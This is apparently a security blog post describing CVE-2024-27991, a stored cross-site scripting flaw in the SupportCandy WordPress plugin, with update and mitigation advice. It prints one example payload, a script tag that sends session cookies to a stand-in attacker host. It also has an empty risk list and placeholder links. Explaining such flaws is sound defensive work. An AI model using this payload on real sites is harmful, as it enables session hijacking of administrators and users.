CVE-2024-27991: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in SupportCandy allows Stored XSS

In recent developments of web security, a new vulnerability has been identified as CVE-2024-27991. This vulnerability deals with improper neutralization of input during the web page generation process, commonly known as 'Cross-site Scripting' (XSS). The software affected by this vulnerability is SupportCandy, an all-in-one support ticketing system for WordPress. The affected versions are from n/a through 3.2.3.

This blog post will provide you with an overview of the vulnerability, its risks, and the technical details to understand how this exploit works. We will also provide you with the information you need to fix this issue and protect your SupportCandy installation.

CVE-2024-27991 Vulnerability Details

A Stored XSS vulnerability occurs when an attacker injects malicious code into a web application, which is then permanently stored and executed whenever the affected web page is accessed.

The vulnerability is introduced in SupportCandy due to its failure to sufficiently sanitize user input during the creation of web pages in certain elements. As a result, an attacker can inject malicious code that could compromise sensitive user information or allow unauthorized modifications on the website.

For further details on the vulnerability, please refer to the CVE-2024-27991 page on the National Vulnerability Database (NVD): [https://nvd.nist.gov/vuln/detail/CVE-2024-27991](https_link_here)

Code Snippet Illustrating the Vulnerability

To better understand the vulnerability exploitation, let's take a look at a simple example. Suppose an attacker submits a support ticket containing the malicious JavaScript code below:

<script>document.location='https://attacker.domain/track?cookie='+document.cookie;</script>;

Due to insufficient input sanitization, SupportCandy would store the malicious code within the support ticket system.

When an admin or another user accesses the support ticket, the malicious JavaScript code will execute, sending the user's session cookie to the attacker's domain. This can potentially compromise sensitive user information or result in unauthorized website modifications.

Exploit Details

Successful exploitation of this vulnerability can lead to multiple adverse outcomes. Some potential risks include:

To protect your SupportCandy installation from this vulnerability, it's highly recommended to

1. Update the SupportCandy plugin to version 3.2.4 or later, which contains the necessary patch to fix the vulnerability.

2. Users unable to upgrade their plugin version should consider implementing input validation and output encoding processes in their environment to protect against XSS attacks. This might include utilizing security features in your content management system, web application firewall, or implementing custom code that prevents these types of attacks.

Regularly monitor security logs for signs of potential XSS attack attempts.

For further information and support regarding this vulnerability, please refer to the SupportCandy WordPress plugin page here: [https://wordpress.org/plugins/supportcandy/](https_link_here)

Conclusion

Proper input sanitization is a critical component in ensuring web application security. This post has discussed CVE-2024-27991, a vulnerability found in earlier SupportCandy versions. We hope this blog post has provided you with valuable information on understanding the vulnerability, its risks, and the steps to take towards securing your SupportCandy installation. Always ensure that you keep your software up-to-date and follow best security practices.

Timeline

Published on: 04/11/2024 01:25:07 UTC
Last modified on: 06/26/2024 16:04:53 UTC